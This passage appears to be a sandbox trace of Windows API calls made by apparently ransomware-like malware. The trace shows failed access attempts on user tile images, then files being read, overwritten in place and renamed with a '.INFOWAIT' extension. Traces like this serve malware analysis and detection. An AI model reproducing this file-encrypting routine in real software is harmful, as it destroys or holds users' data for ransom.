[0131.510] LocalFree (hMem=0x65ded8) returned 0x0 [0131.510] LocalFree (hMem=0x2568430) returned 0x0 [0131.510] GetLastError () returned 0x5 [0131.510] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.510] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile38.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile38.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0131.511] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0131.511] GetLastError () returned 0x5 [0131.511] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0131.511] GetLastError () returned 0x5 [0131.511] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0131.511] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0131.511] lstrlenW (lpString="CreateFile") returned 10 [0131.511] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0131.511] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0131.511] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0131.512] lstrlenW (lpString="5") returned 1 [0131.512] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0131.512] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0131.512] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.512] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.512] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.512] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.512] LocalFree (hMem=0x65ded8) returned 0x0 [0131.512] LocalFree (hMem=0x2568430) returned 0x0 [0131.512] GetLastError () returned 0x5 [0131.512] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.512] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile39.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile39.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0131.512] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0131.512] GetLastError () returned 0x5 [0131.512] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0131.512] GetLastError () returned 0x5 [0131.512] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0131.512] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0131.512] lstrlenW (lpString="CreateFile") returned 10 [0131.512] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0131.512] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0131.512] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0131.512] lstrlenW (lpString="5") returned 1 [0131.512] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0131.512] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0131.512] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.512] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.512] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.512] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.512] LocalFree (hMem=0x65ded8) returned 0x0 [0131.512] LocalFree (hMem=0x2568430) returned 0x0 [0131.513] GetLastError () returned 0x5 [0131.513] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.513] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile40.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile40.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0131.513] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0131.513] GetLastError () returned 0x5 [0131.513] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0131.513] GetLastError () returned 0x5 [0131.513] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0131.513] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0131.513] lstrlenW (lpString="CreateFile") returned 10 [0131.513] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0131.513] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0131.513] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0131.513] lstrlenW (lpString="5") returned 1 [0131.513] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0131.513] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0131.513] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.513] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.513] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.513] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.513] LocalFree (hMem=0x65ded8) returned 0x0 [0131.513] LocalFree (hMem=0x2568430) returned 0x0 [0131.513] GetLastError () returned 0x5 [0131.513] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.513] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile41.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile41.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0131.513] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0131.514] GetLastError () returned 0x5 [0131.514] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0131.514] GetLastError () returned 0x5 [0131.514] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0131.514] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0131.514] lstrlenW (lpString="CreateFile") returned 10 [0131.514] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0131.514] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0131.514] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0131.514] lstrlenW (lpString="5") returned 1 [0131.514] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0131.514] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0131.514] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.514] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.514] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.514] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.514] LocalFree (hMem=0x65ded8) returned 0x0 [0131.514] LocalFree (hMem=0x2568430) returned 0x0 [0131.514] GetLastError () returned 0x5 [0131.514] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.514] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile42.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile42.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0131.514] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0131.514] GetLastError () returned 0x5 [0131.514] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0131.514] GetLastError () returned 0x5 [0131.515] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0131.515] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0131.515] lstrlenW (lpString="CreateFile") returned 10 [0131.515] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0131.515] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0131.515] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0131.515] lstrlenW (lpString="5") returned 1 [0131.515] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0131.515] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0131.515] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.515] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.515] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.515] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.515] LocalFree (hMem=0x65ded8) returned 0x0 [0131.515] LocalFree (hMem=0x2568430) returned 0x0 [0131.515] GetLastError () returned 0x5 [0131.515] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.515] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile43.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile43.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0131.515] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0131.515] GetLastError () returned 0x5 [0131.515] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0131.515] GetLastError () returned 0x5 [0131.515] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0131.515] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0131.515] lstrlenW (lpString="CreateFile") returned 10 [0131.515] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0131.515] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0131.515] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0131.515] lstrlenW (lpString="5") returned 1 [0131.515] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0131.515] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0131.516] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.516] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.516] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.516] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.516] LocalFree (hMem=0x65ded8) returned 0x0 [0131.516] LocalFree (hMem=0x2568430) returned 0x0 [0131.516] GetLastError () returned 0x5 [0131.516] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.516] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile44.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile44.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0131.516] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0131.516] GetLastError () returned 0x5 [0131.516] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0131.516] GetLastError () returned 0x5 [0131.516] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0131.516] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0131.516] lstrlenW (lpString="CreateFile") returned 10 [0131.516] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0131.516] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0131.516] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0131.516] lstrlenW (lpString="5") returned 1 [0131.516] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0131.516] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0131.516] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.516] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.516] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.516] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.516] LocalFree (hMem=0x65ded8) returned 0x0 [0131.516] LocalFree (hMem=0x2568430) returned 0x0 [0131.516] GetLastError () returned 0x5 [0131.516] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.516] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\guest.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0131.517] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xc038 [0131.517] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0131.517] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.517] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xc038, lpOverlapped=0x0) returned 1 [0131.570] VirtualAlloc (lpAddress=0x0, dwSize=0xc038, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0131.573] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.573] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xc038, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xc038, lpOverlapped=0x0) returned 1 [0131.574] CloseHandle (hObject=0xad0) returned 1 [0131.574] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.bmp" | out: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.bmp") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.bmp" [0131.574] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.bmp", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.bmp.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.bmp.INFOWAIT" [0131.574] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\guest.bmp"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.bmp.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\guest.bmp.infowait")) returned 1 [0131.574] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.575] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.576] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.576] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\user.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0131.576] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xc038 [0131.576] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0131.576] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.576] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xc038, lpOverlapped=0x0) returned 1 [0131.578] VirtualAlloc (lpAddress=0x0, dwSize=0xc038, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0131.581] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.581] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xc038, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xc038, lpOverlapped=0x0) returned 1 [0131.582] CloseHandle (hObject=0xad0) returned 1 [0131.582] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.bmp" | out: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.bmp") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.bmp" [0131.582] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.bmp", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.bmp.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.bmp.INFOWAIT" [0131.582] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\user.bmp"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.bmp.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\user.bmp.infowait")) returned 1 [0131.582] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.583] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.584] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.584] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\users\\all users\\microsoft\\windows\\caches\\cversions.2.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0131.584] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4000 [0131.584] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0131.584] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.584] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4000, lpOverlapped=0x0) returned 1 [0131.586] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0131.587] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.587] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4000, lpOverlapped=0x0) returned 1 [0131.587] CloseHandle (hObject=0xad0) returned 1 [0131.587] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\cversions.2.db" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\cversions.2.db") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\cversions.2.db" [0131.587] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\cversions.2.db", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\cversions.2.db.INFOWAIT") returned="C:\\Users\\All 